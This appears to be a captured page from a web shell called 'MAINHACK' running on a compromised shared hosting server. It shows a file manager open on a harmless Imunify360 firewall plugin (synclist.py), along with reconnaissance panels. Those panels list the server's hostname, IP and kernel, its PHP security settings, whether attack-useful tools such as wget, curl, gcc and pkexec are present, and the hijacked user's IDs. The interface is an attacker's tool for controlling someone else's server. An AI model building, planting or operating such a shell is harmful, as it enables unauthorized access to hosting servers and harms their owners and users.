[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: synclist.py
File is not writable. Editing disabled.
from logging import getLogger from defence360agent import utils from defence360agent.contracts.messages import MessageType from defence360agent.contracts.plugins import (MessageSink, MessageSource, expect) from defence360agent.model.simplification import run_in_executor from im360.contracts.config import Webshield from im360.model.firewall import LastSynclist logger = getLogger(__name__) class SynclistPlugin(MessageSink, MessageSource): """ This plugin is merely to initiate synclist request on server connected, reconnected events """ PROCESSING_ORDER = MessageSink.ProcessingOrder.SYNCLIST_UPDATE async def create_sink(self, loop): self._loop = loop async def create_source(self, loop, sink): self._loop = loop self._sink = sink self._previous_webshield_status = None async def send_synclist_request(self): timestamp = await run_in_executor( self._loop, lambda: LastSynclist.get_timestamp(LastSynclist.IP)) await self._sink.process_message( MessageType.SynclistRequest(timestamp=timestamp)) @expect(MessageType.SynclistResponse) async def process_ip_synclist_response(self, _): await run_in_executor( self._loop, lambda: LastSynclist.update_timestamp(LastSynclist.IP)) @expect(MessageType.ConfigUpdate) @utils.log_error_and_ignore() async def on_config_update(self, message): is_webshield_enabled = Webshield.ENABLE if (is_webshield_enabled and (self._previous_webshield_status != is_webshield_enabled)): self._previous_webshield_status = is_webshield_enabled await self.send_synclist_request() @expect(MessageType.ServerConnected, MessageType.ServerReconnected) async def connection_made(self, _): await self.send_synclist_request()
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.34 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A